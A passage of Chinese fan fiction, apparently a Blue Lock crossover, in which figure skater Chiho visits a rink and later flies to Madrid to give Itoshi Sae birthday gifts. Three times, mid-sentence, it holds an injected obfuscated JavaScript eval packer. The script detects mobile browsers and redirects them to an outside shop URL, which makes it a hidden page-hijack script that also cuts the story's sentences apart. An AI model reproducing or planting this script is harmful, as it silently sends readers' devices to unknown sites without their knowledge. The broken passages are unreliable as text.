对面的声音带着点疑惑,大概是看到来电显示时的本能反应——毕竟存了号码但不常联系的人突然打来电话,任谁都会愣一下。 千穗清了清嗓子,尽量让自己的声音听起来礼貌得体: “您好,是鴗鸟慎一郎前辈吗?我是洁千穗,夜鹰纯前辈的朋友。他现在在我旁边,我们……呃,冒昧来访,现在在您俱乐部门口。” 对面沉默了两秒。 “……什么?” 千穗听见电话那头传来什么东西落地的声音,然后是急匆匆的脚步声,夹杂着“等一下等一下”的低语。 “您别着急,我们就在门口——” 话还没说完,俱乐部的门就被从里面推开了。 一个里面穿着灰色训练服、外面套了件黑灰大衣显得有些慌乱的中年男人冲了出来,目光扫过门口的两个人,最终定格在夜鹰纯身上。 鴗鸟慎一郎的表情非常精彩。 震惊、困惑、难以置信——还有一点点“这人怎么突然出现”的茫然。 “……纯?”他试探着叫了一声,声音里带着不确定,“真的是你?” 夜鹰纯看着他,点了点头。 “嗯。” 千穗在旁边看着这一幕,心想:好家伙,就一个字。 鴗鸟慎一郎愣了两秒,然后脸上浮现略显无奈的神色。 “你……要来怎么不提前说一声?我差点以为是诈骗。” “忘了。” “……行吧。” 鴗鸟慎一郎叹了口气,转向千穗,脸上的表情从无奈变成了礼貌严肃的表情。 “您好,洁选手,久仰大名。我是鴗鸟慎一郎,这个俱乐部的教练。” 千穗立刻微微欠身,语气诚恳: “抱歉,突然来访给您添麻烦了。是我提议来看的,但没提前沟通好时间,实在不好意思。” “没事。”鴗鸟摇摇头,看了一眼旁边面无表情的夜鹰纯,“我了解纯,他不太擅长这些社交。” 夜鹰纯对此毫无反应。 千穗心想这家伙已经不是不善社交能形容的了,能跟他交上朋友的人必定有着宽广的胸怀。 “请进吧。”鴗鸟侧身让开路,“我刚要带学生训练,可能招待不周…你们随意看看。” “哪里哪里,是我们给您添麻烦了。” 千穗保持着歉意的微笑拉着旁边的“糟糕大人”进去了。 . 俱乐部的冰场收拾得很干净。 鴗鸟慎一郎走在前面,一边走一边介绍情况。千穗认真听着,偶尔问几个问题;夜鹰纯跟在后面,表情始终淡淡的,看不出在想什么。 走到冰场边缘,千穗看见一个穿着粉色训练服的小女孩正在冰上慢慢滑行。 很小。 目测最多四五岁。 她滑得不算快,动作也带着这个年龄特有的生疏感——膝盖弯得不够深,重心偶尔偏移,但每次快要摔倒的时候都能勉强稳住。 鴗鸟慎一郎停下脚步,看向那个小女孩,眼神里带着点复杂的情绪。 “那是我新收的学生。”他说,语气比刚才柔和了些,“叫八木夕凪,四岁。” 千穗了然。 是未来的剧情人物。 “基础还在打磨。”慎一郎继续说,“但她很有天赋,学东西很快… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326687|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 这句话说到后面声音就变小了。 人表情也变得有几分复杂。 ——毕竟站在他旁边的就是目前为止本国男单女单最强天赋怪了,谁敢在他俩面前称“很有天赋”啊。 好在洁千穗和夜鹰纯都不怎么在意这点。 夜鹰纯是什么也没在听,看着像发呆。 千穗是看向冰场边缘,那里有一个似乎也4、5岁大的男孩,他正趴在挡板上,目不转睛地看着冰上的小女孩。 慎一郎顺着千穗的目光看过去,笑了笑: “那是犬子,理凰。四岁,还没正式上冰,但已经对滑冰很感兴趣,今天正准备教他。” 千穗走过去,蹲下来和他平视。 “你好呀。” 男孩转过头看她,蓝色的眼睛亮晶晶的。 “你也是花滑选手吗?” “嗯,是的。” “那你能教我滑冰吗?” 千穗被这直接的提问逗笑了。 “现在可能不行,因为我今天是来拜访你父亲。”她指了指冰上的八木夕凪,“不过你可以先看夕凪姐姐滑,看她怎么滑的。” 理凰歪着头想了想,然后点点头,又转回去继续看冰面。 千穗站起身,回到夜鹰纯旁边。 “这孩子挺可爱的。” 夜鹰纯没说话,但目光落在那个趴在挡板上的小小身影上,停留了两秒。 千穗观察那下他的神情,确认他确实挺喜欢这个自己亲手抱过的孩子。 可惜没长嘴,未来成为小孩最讨厌的大人。 … 后面其实也没什么事。 鴗鸟慎一郎要教学生,他俩一个是好友,但是话少,还有一个不咋熟,也不好打扰人家,除了看着不知道干嘛。 上冰场更不可行—— 千穗还差点就被粉丝认出来。 对方甚至是鯱城里依奈这位剧情里的前奥运选手,比她小4岁,应该是22年冬奥。 还得靠鴗鸟慎一郎把孩子支开。 “总之,夜鹰前辈就拜托鴗鸟前辈了,我经纪人已经到门口了,就先要回去进行大奖赛分站比赛的训练了。”千穗和鴗鸟慎一郎交换了联系方式就准备撤退了。 “是,实在麻烦洁小姐了。”鴗鸟慎一郎也是一脸认真地替夜鹰纯道谢,“纯作为一个大人还需要您领悟,实在是太不好意思了……” “没事啦,本来就是我提议来拜访鴗鸟前辈的,要不麻烦。”千穗摇头,总觉得这场景有点眼熟。 “不,您如此年轻、且作为即将要比赛的选手还要操心纯的事,太不容易了……” 千穗已经有些招架不住对方严肃认真的态度了。 而旁边作为他们对话主题的人却默不作声,不知道什么想法。 …… …… 毫不意外地赢下名古屋站第一后,洁千穗就出发前往德国德累斯顿。 虽然是亚洲人有被压分,但依旧夺得了第一的宝座,作为积分第1成为总决赛参赛选手。 而距离总决赛开始还有两个月时间,千穗成功和雅科夫组会师后,雅科夫教练让他们休息两天再去克罗地亚看比赛。 千穗于是决定现在去看看那些足球俱乐部的比赛。 刚好有一场巴别塔.慕尼黑主办的邀请赛(她看完感觉有点像表演赛),不过现在只有青训的那些运动员的场次了。 就算是这,也是托关系抢到的票(感谢刚好在德国出差的御影先生)。 嗯……她一个都不认识呢。 白鸦说《蓝色监狱》里面属于拜塔的选手一个米歇尔.凯撒现在还没满15岁、没到设定中他开始踢球的年纪,一个亚历克西斯·内斯年纪更小…其他一些也差不多。 成人组诺埃尔.诺亚听说去美国比赛了。 特意来到柏林的千穗可以说是没什么滋味地看完了比赛、跟着经纪人回到宾馆—— 唯一的收获是路上居然意外遇到了米歇尔.凯撒。 尚未被雷.达克发现足球才能的他仍在艰难度日。 千穗只是碰上了一群扒手,看着年纪都不大、其中还有剧情人物,考虑到她钱包里钱也不是很多,就没管。 甚至还对当时还没染蓝发的金毛说“这点钱够吃一顿吧?” 金毛一脸错愕,给她逗笑了。 后面还是经纪人拉她走了。 10. 生日快乐 洁千穗躺在宾馆的床上,盯着天花板发呆。 柏林的夜晚很安静,窗外偶尔传来电车的轰鸣声,但很快消失在夜色里。 她刚洗完澡,头发还湿着,毛巾搭在脖子上,整个人陷在柔软的床垫里,脑子放空。 今天的比赛……不,今天的“表演赛”,她真的不知道该怎么评价。 说是邀请赛,踢得也确实挺卖力的,但那种卖力和真正比赛的卖力完全不是一回事。更像是——给赞助商看的。给媒体看的。给观众看的。 千穗翻了个身,把脸埋进枕头里。 也就回来的路上碰见米歇尔.凯撒这件事,算是惊喜。 不过她并没有和对方深交的想法、也没那个时间,且白鸦一向告诫她剧情的某些地方存在不可抗力,轻易别尝试更改。 ——手机震了一下。 她懒洋洋地伸手去够床头柜,把手机捞过来,眯着眼睛看屏幕。 【Sae:在德国?】 千穗眨了眨眼,脑子还没完全从放空状态切换回来。 【Chiho:嗯,柏林】 【Sae:比赛看完了?】 她愣了一下。 他怎么知道她去看比赛了? 【Chiho:你怎么知道的?】 【Sae:拜塔的邀请赛,你ins发了定位】 千穗:“……” 她翻了个白眼。 这人,明明平时连她的消息都回得慢,居然会去翻她的ins? 【Chiho:看了,感觉像表演赛】 【Sae:本来就是】 千穗盯着那三个字,忽然有点想笑。 行吧。 她开始日常询问近况: 【Chiho:你那边呢?训练怎么样?】 【Sae:还行】 【Chiho:西班牙语学得怎么样了?】 【Sae:还行】 【Chiho:……你能不能换个词?】 每次问这两个问题都是这种回答,跟没答有什么区别。 【Sae:可以】 【Chiho:那你换】 【Sae:一般】 千穗:“……” 她深吸一口气,告诉自己不要和一个社会化程度仅比夜鹰纯高的人计较。 正准备把手机扔到一边,对面又发来一条。 【Sae:你教练呢?】 千穗愣了一下。 教练? 【Chiho:高峰教练离职了,你知道的吧?】 【Sae:知道】 【Chiho:那你还问?】 【Sae:名古屋站,只有助教。德累斯顿站呢?】 千穗盯着这条消息,看了两秒。 这人……是在问她有没有人陪? 她想了想,打字回复: 【Chiho:助教有事没来,现在是雷奥尼多和经纪人在陪我】 【Sae:雷奥尼多?编舞的那个?】 【Chiho:嗯,他和自己国家的选手一起来的,看我这边没人就顺便陪我】 【Sae:哦】 【Chiho:怎么了?】 对面沉默了几秒。 然后—— 【Sae:没什么】 【Sae:你们总决赛在巴塞罗那】 【Chiho:嗯,我知道】 【Sae:12月】 【Chiho:嗯,我知道】 【Sae:你这段时间都留在欧洲?】 千穗看着这个问题,忽然明白了什么。 这人拐弯抹角地问了半天,就是想问这个? 【Chiho:嗯,去克罗地亚看比赛,然后和雅科夫他们一起训练,等总决赛】 【Sae:哦】 【Chiho:怎么,你要来给我加油?】 发出去的瞬间她就有点后悔。 这种玩笑是不是开得不太合适? 但对面已经回复了。 【Sae:可以】 千穗愣住。 可以? 什么意思? 【Sae:我就在西班牙】 【Sae:12月份临近圣诞,RE·AL青训放假】 【Sae:有时间】 千穗盯着那三行字,脑子有点转不过来。 他这是……真的打算来看她比赛? 【Chiho:你认真的?】 【Sae:嗯】 【Chiho:总决赛在巴塞罗那,你本来就在西班牙,确实挺方便的……】 【Sae:嗯】 【Chiho:那……行吧,到时候给你留票】 【Sae:嗯】 对话又回到了熟悉的“嗯”循环。 但千穗总觉得哪里怪怪的。 她想了想,又发了一条: 【Chiho:你刚才问那么多,就是想问这个?】 【Sae:什么?】 【Chiho:问我有没有人陪,问我这段时间是不是留在欧洲,问我总决赛在哪——不就是想确认我到时候是不是一个人在巴塞罗那吗?】 千穗打完一长串话,嘴角不自觉地翘起来。 认识这么多年,这人表达关心的方式还是这么别扭。 拐弯抹角问了一堆,最后才说“可以来看比赛”。 而对面沉默了。 沉默了很久。 久到千穗以为他不会回复了。 然后—— 【Sae:……】 【Sae:你话真多】 千穗看着那四个字,忽然笑出了声。 这人。 明明被她戳穿了,还要嘴硬。 【Chiho:好好好,我话多】 【Chiho:那你到时候来不来?】 【Sae:来】 【Chiho:好,那我等你】 【Sae:嗯】 千穗以为对话终于结束了,刚开始思考要不要给他发晚安,又一条信息发过来—— 【Sae:去克罗地亚看比赛?不训练 ?】 【Chiho:嗯,但不是不训练,雅科夫教练还在联系欧洲的短训营,这几天自己找冰场训练,也算放松】 【Sae:……】 【Sae:时间正好,来马德里】 什么时间正好?来马德里又什么意思? 千穗一头雾水地看了看日期——10月6日。 这时候她突然想起了什么,翻了翻备忘录——糸师冴的生日——10月10日。 然后又往前翻了翻聊天记录—— 【Chiho:对了,俄罗斯特产我给你准备了,地址发我,我给你寄过去】 【Sae:不用】 【Sae:你不是还要来欧洲比赛吗】 【Sae:到时候给】 当时她以为他是嫌麻烦——毕竟这人确实怕麻烦。 现在…… “……所以那时候就是在提醒我生日?”千穗喃喃自语。 旁边,世一的消息刚好弹进来: 【小草:姐姐,马上冴哥生日了,你准备送什么呀?】 千穗:“……” 连她弟都记得比她清楚。 【Chiho:还没想好……】 【小草:???那我的画你送过去了吗?那是我给冴哥的生日礼物】 千穗:……你当初也没说这事儿啊 【Chiho:我没和他见面】 【小草:?你不是在欧洲吗?不去看他吗?】 【小草:对了,凛说冴哥最近训练挺累的,都没怎么给他们发消息,想拜托你帮忙看一下冴哥的情况】 千穗盯着那两行字,忽然有点心虚。 她确实知道糸师冴最近训练累——他自己没跟任何人说,但她找系统要的数据了。马德里青训的强度比她想象的大,语言关还没完全过去,再加上他这个年纪独自在异国…… 【Chiho:知道了,我会去的】 【小草:好!记得带礼物!】 千穗把手机放下,看着窗外德累斯顿的夜景发呆。 去马德里。 她当然想去。 但问题是—— 雅科夫教练说放了两天假,后天就要去克罗地亚萨格勒布看比赛,8号到12号的比赛。 克罗地亚萨格勒布飞到西班牙马德里要4个小时。 千穗又翻了翻时间安排,确认中间确实休息一天没有比赛,就是10号,而且女单9号就比完了。 时间上倒是来得及…… 她打开机票软件查了查。 萨格勒布→马德里,10号早上有航班。 马德里→萨格勒布,11号早上也有航班。 完美。 最近在白鸦的指导下她爸爸股票赚了不少,因为不能陪在她身边给她的零花钱也很多,这种时间极限的机票也不算什么。 ……唯一的问题是她不知道糸师冴具体在哪个训练基地(大概率是拉法布里卡),也不知道他那天有没有训练。 【Chiho:你最近都在训练吗?封闭式吗?】 对面秒回: 【Sae:最近开放了】 【Chiho:几点结束?】 【Sae:五点】 千穗算了算时间——她10号上午十一点能到马德里,从机场到他训练的地方大概一个小时。 也就是说,她有四五个小时可以晃悠。 【Chiho:那我下午到】她没说几号,但冴这家伙肯定知道她的意思。 【Sae:哦】 【Sae:几点?】 【Chiho:大概十二点落地,到你那边一点多吧】 【Sae:嗯】 【Sae:到了发消息】 这次,千穗盯着那个熟悉的“嗯”,弯了弯眼。 这人。 明明就是想让她去,偏要说得这么别扭。 . 第二天早上,千穗是被手机震醒的。 她眯着眼睛摸过来,看见屏幕上跳出一条新消息。 【Sae:起床没?】 千穗看了眼时间——早上八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326688|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。 这人,怎么突然开始关心她的作息了? 【Chiho:刚醒】 【Sae:哦】 【Chiho:怎么了?】 【Sae:没什么】 【Sae:今天去克罗地亚?】 【Chiho:嗯,下午的飞机】 【Sae:注意安全】 千穗盯着那四个字,愣了愣。 注意安全? 【Chiho:……你今天怎么这么会说话?】虽然她觉得已经很安全了。 【Sae:?】 【Chiho:没什么,谢谢】 【Sae:哦】 她把手机放下,盯着天花板发了会儿呆。 然后忽然想起什么,又拿起手机,点开糸师冴的对话框,往上翻聊天记录。 从昨晚到现在—— 问她教练,问她比赛,问她是不是留在欧洲,问她总决赛在哪,让她注意安全,让她到了发消息。 …… 她以前怎么没发现,这人其实挺会关心的? 只是关心的方式,得靠猜。 千穗把手机放下,起身去洗漱。 镜子里的自己头发乱糟糟的,但眼睛亮亮的,嘴角弯着。 她看着镜子里的自己,忽然想起昨晚糸师冴说的那句“可以”。 可以来看她比赛。 不知道为什么,想到这件事,心情就很好。 . 等到10号早上,跟雅科夫他们说过后,千穗拖着一个小行李箱,和经纪人一起踏上了去马德里的航班。 飞机上她补了一觉,醒来时窗外的云层已经变成了伊比利亚半岛的丘陵地貌。 落地的时候是当地时间十二点零五分。 她打开手机,发现糸师冴半小时前发了一条消息: 【Sae:到了?】 千穗一边往出口走一边回复: 【Chiho:刚落地,准备去拿行李】 【Chiho:你现在是午休时间?可以拿手机?】 【Sae:嗯】 【Sae:基地地址发你了】 千穗点开那条消息,是一个定位,确实是拉法布里卡,属于大众知晓的青训基地。 她看了眼地址,又看了眼地图——从机场过去大概一个小时,坐地铁加步行。 【Chiho:收到】 【Sae:路上小心】 千穗盯着那四个字看了两秒。 路上小心。 这家伙到底怎么回事?感觉越来越会说话了。 . 马德里的地铁比东京的旧,但胜在干净。 千穗和经纪人北野宁宁拖着行李箱在地铁站里穿梭,偶尔被路人多看一眼——一大一小的亚裔女性,戴着口罩,拖着行李箱,在异国的地铁里穿行。 她不在意,安全这方面,白鸦会给其他人下心理暗示的。 她只是在想,糸师冴这一年过得怎么样。 作为亚洲人、在世界第一足球俱乐部[RE·AL]的青训营,会遭受什么其实是可想而知的。 歧视、排挤、打压、沟通难题…… 他没抱怨过。 但“没抱怨”不等于“一切都好”。 她了解他。 更何况千穗自己今年也长期在国外。 不是俄美加“高贵国籍”的她要不是因为过于断层,可不一定能夺冠。 在莫斯科和其他国家的人一起训练时,虽然雅科夫他们是好人,但总有一些戴有色眼镜看人的家伙。 再就是同期参赛选手的妒火,甚至同一国家参赛选手也和她关系不亲近。 . 从地铁站出来,洁千穗先和经纪人一起找了个旅馆暂住,办完登记又睡了一会儿休息。 等醒来后,千穗整理好行李,拿着礼物,步行十分钟就到了RE·AL的训练基地。 白色建筑在临近黄昏的阳光下依旧闪闪发光,门口有保安,墙建得挺高的,但仍然能隐约听见里面运动员的呐喊声。 千穗找了个阴凉的地方坐下,给糸师冴发消息: 【Chiho:到了,在门口】 【Sae:等我】 然后她就开始等。 等了大概十分钟,训练场的方向传来一阵近乎喧哗的声音——大概是训练结束了。 又过了五分钟,门口出现了一个熟悉的身影。 小豆色的头发在西班牙的阳光下比在日本时浅了一点,个子好像又高了一点,穿着训练服,肩上搭着毛巾,手里拿着瓶水。 他朝门口走来,脚步不快不慢。 千穗站起来,朝他挥了挥手。 糸师冴走近,在她面前站定。 “……来了。” 语气平淡得像在说今天天气不错。 千穗上下打量他一眼——黑眼圈有点重,下巴的线条比之前更分明了,整个人看起来瘦了一点。 “瘦了。”她说。 糸师冴顿了一下,没说话。 千穗于是拿起藏在脚边的袋子,塞到他怀里: “——生日快乐。” 11. 围巾 “——生日快乐。” 洁千穗站在RE·AL最有名的青训基地门口,夕阳把她的影子拉得很长。 糸师冴低头看着被塞进怀里的袋子,沉默了两秒,接过。 “……哦。” 千穗等着。 以她对这人的了解,“哦”完之后应该就没了——最多加一句“谢谢”,然后话题终结。 但这次不一样。 糸师冴抬起头,看着她。 夕阳从他身后照过来,把他的轮廓勾成一道浅金色的边。脸上的表情和平时没什么两样,但那双眼睛——千穗忽然注意到,那双绿色的眼睛里有一点她常见、但极少在他这看到的东西。 很淡。 淡到几乎看不出来。 但确确实实存在。 然后他的嘴角动了动。 幅度很小。 小到如果不是她正盯着他看,根本不会发现。 但千穗看见了。 她看见了。 那是—— 笑? 糸师冴在笑? 千穗愣住了。 他们认识这么多年,从神奈川的邻居到现在各自在不同的国度,她见过他日常面无表情的样子,见过他“还行”的时候嘴角微微上扬的弧度,见过他比赛赢了之后依旧淡漠的眼神。 但她从没见过他这样笑。 这样一种—— 她不知道该怎么形容。 就是……笑。 很浅,很柔和。 千穗盯着他看了两秒,然后脑子里冒出一个念头: 原来这人也能露出这种笑啊,凛说他哥温柔好像也没错。 再然后,另一个念头冒出来: 他居然是对我笑的? 再再然后—— 不对,好像也挺理所当然的。 毕竟认识七年了。 毕竟她专门从克罗地亚飞过来给他过生日。 毕竟…… 打住,先顾眼前吧。 千穗把那些乱七八糟的念头按下去,若无其事地移开视线,假装自己什么都没发现。 “咳咳。”她清了清嗓子,从口袋里掏出手机,“那个,给你看点东西。” 糸师冴的表情已经恢复了平时的样子,仿佛刚才那一瞬间的柔和从未存在过。 “……什么?” 千穗打开相册,递给他。 “当初去看凛的照片。他说可以给你看。” 屏幕上是凛站在拉面馆门口的照片,怀里抱着那只墨绿色的小猫玩偶,表情别扭但显然很高兴。 糸师冴盯着那张照片看了两秒。 嘴角又动了动。 这次千穗注意到了,但她假装没看见。 “他还挺喜欢那个小猫的。”她说,“虽然嘴上没说。” 糸师冴没说话,把手机还给她。 “还有这个。”千穗又翻了翻相册,“世一让我转交的。他画了一晚上,废了好几张纸。” 是一张画的照片。 洁世一画的——简笔素描画风,但意外地挺像。画上是糸师冴在场上踢球的样子,抬脚射门的瞬间,背景是模糊的观众席和灯光。 画的下方用加粗笔写了一行字: 【冴哥生日快乐!早日成为世界第一!from 世一】 糸师冴盯着那张画的照片看了一会儿。 “……他还会画这个?” “嗯,最近画技大有进步。”千穗欣慰地点头,“本来想给你寄信的,但听说我要来,就改画了。画了一晚上,废了好几张纸。” 糸师冴又看了几眼,然后把手机还给她。 “走吧。” “……去哪?” “吃饭。” 千穗眨眨眼,然后笑起来。 “好。” 两人并肩走在马德里的街道上。 夕阳把城市的建筑染成暖橙色,街边有咖啡馆飘出香气,偶尔有踢球的少年从身边跑过。 千穗走了一会儿,忽然想起什么。 “对了,你还没说谢谢。” 糸师冴侧头看她。 “什么?” “生日快乐啊。”千穗指了指他怀里的袋子,“我说了生日快乐,你还没说谢谢。” 糸师冴沉默了两秒。 然后—— “谢谢。” 千穗弯起眼睛。 “不客气。” . 他们在一家看起来不大的餐厅门口停下。 糸师冴推门进去,千穗跟在后面。 店里人不多,灯光暖黄,墙上挂着足球俱乐部的队旗和签名照片。老板是个看起来五十多岁的西班牙男人,看见糸师冴进来,笑容开朗。 “Sae!今天怎么这么早?” 糸师冴点点头,用西班牙语说了句什么。千穗听不懂,但大概是在介绍她。 老板看向她,热情地打了个招呼。 千穗用英语回了句“你好”,然后被糸师冴带到靠窗的位置坐下。 “你常来?”她问。 “嗯。” “老板认识你?” “嗯。” 千穗点点头,没再问。 菜单是西班牙语的,她看不懂。糸师冴接过去,帮她翻译并把菜点了。 等菜的间隙,千穗托着下巴看他。 “要不先看看礼物?” “嗯。”糸师冴于是低头打开那个袋子。 先拿出来的是一个小盒子,打开——一只毛茸茸的粉色猫咪玩偶,和凛那只墨绿色的是同款,只是颜色不同。 糸师冴盯着那只粉色猫看了两秒。 “……为什么是粉色?” “因为我觉得适合你。”千穗理直气壮。 糸师冴没说话,把小猫放到一边,继续翻。 两条围巾,深灰色和藏青色,俄罗斯特产,羊毛的,摸起来很软。 “俄罗斯常年低温,围巾比较有名,买来送给你,可以冬天训练完披着,别感冒。”千穗在旁边解说。 糸师冴点点头,把围巾放到一边。 然后是几包昆布茶——日本的那种,用开水冲开就能喝。 “你妈托我带的,说你在国外肯定喝不到家里的味道。”不过本来是想12月份去西班牙再给他。 糸师冴拿着那几包茶,顿了一下。 “……哦。” 接着是洁世一的画,射门瞬间。 “呶,我弟弟的大作,也是给你的生日礼物。”千穗凑过来点了点右下角加粗笔写的生日祝福。 糸师冴点点头,把画重新卷起来,也放到一边。 最后是一个小盒子,打开—— 是一个钥匙扣。 克里姆林宫造型的纪念品,金属的,做工还挺精致。 千穗指了指底座:“你看背面。” 糸师冴翻过来。 底座上刻着一行小字: 【Sae】 糸师冴注视着这三个简单的英文字母,声音轻轻道: “……特意刻的?” “嗯。”千穗点头,“克里姆林宫门口有家店可以现场刻字,我就刻了你名字。” 糸师冴没说话。 但千穗注意到他嘴角又动了动。 这人今天怎么老是想笑? “不喜欢?”她故意问。 “……没有。” 糸师冴把钥匙扣攥在手心里,然后连同其他礼物一起收进袋子里。 “谢谢。” “不客气。” . 菜上来了。 海鲜饭、火腿、炸鱿鱼圈,还有一些千穗叫不出名字的Tapas。 她尝了一口海鲜饭,眼睛亮了。 “好吃!” 糸师冴看着她,没说话。 但千穗总觉得他在看。 “你怎么不吃?” “吃。” 他拿起叉子,开始吃。 千穗一边吃一边看窗外。 马德里的夜晚来得比日本晚,这个点天还没完全黑,街上的人渐渐多起来。有情侣手牵手走过,有老人牵着狗散步,有小孩抱着足球跑过。 她忽然想起什么。 “你平时训练完都干什么?” “回宿舍,复盘。” “不出去逛逛?” “没兴趣。” “不和队友一起?” “不。” 千穗看着他,忽然有点难过。 一个人在国外,语言不通,文化不同,训练强度大,没人陪……甚至比她还惨,至少她遇见的尤里他们都是难得的好人,但是足球运动员是什么样的、了解过的人都知道。 “那你生日怎么过的?” “……今天训练。” “然后呢?” “然后你来了。” 千穗愣了一下。 然后她笑了。 “那我来的还挺及时的。” 糸师冴没说话,但千穗看见他的耳朵好像有点红。 大概是夕阳照的吧。 . 吃完饭,天色已经完全暗下来了。 糸师冴送千穗回旅馆。 两人走在夜晚的马德里街头,路灯把影子拉得很长。 到旅馆门口,千穗停下脚步。 “就送到这儿吧。” 糸师冴也停下来。 他看着她,沉默了两秒。 然后—— “明天还要去看比赛?” “嗯,克罗地亚那边有尤里的比赛。” “你说的那个与你一起拿冠军的?” “嗯。” 糸师冴沉默了一下。 “他好像跟你关系不错。” 千穗眨眨眼,没反应过来他为什么突然提这个。 “还好吧,算朋友。” “哦。” “……怎么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326689|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “没什么。” 千穗看着他,总觉得哪里怪怪的。 但具体哪里怪,她又说不上来。 不过她一向不在这种事情上为难自己,想不明白就不想了。 “那我走了。”她挥挥手,“再说一遍,生日快乐——不管怎么样,作为同样在国外训练的人,我希望你至少在生日这一天能开开心心的。” 糸师冴垂眸注视着她,嘴唇动了动,似乎还想说什么。 千穗同他对视,安静等待他接下来的话。 但他最后什么都没说。 只是站在这儿,看着她。 ……千穗忽然有点想笑。 她发现自己越来越能读懂这人了——比如现在,明明不想让她走,却偏要表现出一副“随便你”的样子。 “放心,”她说,“总决赛见。” 糸师冴还是看着她。 “嗯。” “到时候给我加油。” “……知道了。” “多喊几声。” “……你话真多。” 千穗笑起来。 “行行行,我话多。那我走了~” 她转身往旅馆里走。 走出去两步,又回头。 糸师冴还站在原地,望向她。 她挥挥手。 “回去早点睡。” 糸师冴没说话,但微微点了点头。 千穗转身,走进旅馆。 . 回到房间,北野宁宁正坐在窗边看书,见她进来,抬起头。 “回来了?吃了吗?” “吃了。”千穗把自己扔在床上,盯着天花板发呆。 北野宁宁看了她一眼,没多问,继续看书。 千穗一动不动地躺了一会儿,直到手机振动,她才掏出手机坐起身查看。 果然是冴的信息。 【Sae:明天到地方记得发消息】 【Chiho:好】 【Sae:路上小心】 【Sae:围巾会戴的】 千穗盯着那三条消息,愣了两秒。 然后笑了。 她把手机收进口袋,靠在座位上,看着窗外飞速后退的隧道壁。 窗外一片漆黑,但她的心情很好。 . 第2天中午,千穗抵达萨格勒布的酒店。 重新登记入住时,收到了洁世一发来的消息。 【小草:姐姐!见到冴哥了吗?】 【Chiho:见到了】 【小草:他怎么样?瘦了吗?累吗?有没有好好吃饭? 【小草:凛一直问我但我不知道——明明是他哥哥怎么不自己问?而且他不也有姐姐你的联系方式嘛?】 千穗看着那一连串问题,忍不住笑。 【Chiho:你知道的,凛比较害羞】 【Chiho:冴瘦了一点,但状态还行。生日那天我和他一起去他熟悉的一家店吃的,应该是有好好吃饭的】 【小草:那就好,我跟凛说一声】 过了会儿,聊天框又弹出一条消息: 【小草:凛说谢谢姐姐,冴哥跟他视频的时候心情看起来不错】 千穗愣了一下。 视频? 糸师冴跟凛视频了? 还心情不错? 【Chiho:……他居然和家里人视频了?】 【小草:对啊,姐姐你不也经常和我们视频吗?】 【小草:不过凛说冴哥一般只有在节假日才会视频】 千穗想想也对。 虽然根据她的观察,糸师家对孩子持放养态度,但一家人的关系还不算差(至少现在是这样的),视频通话挺正常的。 她就是被漫画里糸师夫妇几乎隐身给误导了。 手机又震了一下。 是他们刚在谈论的糸师冴。 【Sae:到了?】 【Chiho:到了】 【Sae:嗯】 然后没信息了。 千穗低头看着手机,由经纪人带着去客房。 她看了眼时间,还没到糸师冴午休结束。 于是她又发了条消息。 【Chiho:天气预报显示马德里降温了,你有戴围巾吗?】 对面直接发来一张照片。 是糸师冴的自拍——真的是自拍,虽然角度很直男,表情依旧面瘫,但脖子上确实围着条藏青色的围巾。 千穗盯着那张照片看了很久。 然后笑了。 【Chiho:挺好看的】 【Sae:……】 【Sae:挂了】 【Chiho:?你又没打电话】 对面没回复了。 千穗把手机收进口袋,抬起头,走到窗边,拉开窗帘。 阳光明媚。 ——今天天气真好。 她想。 12. 跳错了 尤里也是毫无疑问的拿下了分站双金牌,以积分第1进入总决赛。 而青少年大奖赛总决赛12月11日开始,14日结束。 洁千穗确实在观众席看见了糸师冴——毕竟他的票还是她给的,位置是正对着冰场的第三排。 她选那个位置的时候经纪人说“那不是最中间啊”,她说“我知道”,但没解释为什么选那里。 因为糸师冴不喜欢太吵的位置。 第三排靠过道,视野不错,周围人也少一点。他可以从容地看完整场比赛,然后在结束的时候悄悄离开——如果他想的话。 而最让人意外的是,她居然看见了一个疑似夜鹰纯的人。 戴着个口罩坐在最角落,头发略显凌乱、刘海微微盖过眼睛。 看样子是有做一点伪装的。 要不是他旁边坐着鴗鸟慎一郎教练,她还认不出来呢。 千穗不太敢确定他是不是来看自己比赛。 毕竟,小光都没有的待遇,让她享受上了,额……她觉得自己还是不那么普信为妙。 . 短节目赛前热身开始。 六名选手依次滑入冰场,在六分钟的限定时间内熟悉冰面、调整状态、完成最后的跳跃练习。 洁千穗是第三个入场的。 她滑过挡板的时候,余光瞥见第三排靠过道的位置——小豆色的头发在灯光下很显眼,和周围的人群格格不入。 糸师冴穿着那件她眼熟的深灰色大衣,脖子上围着那条藏青色的围巾。 距离有些远,看不清他有没有看她。 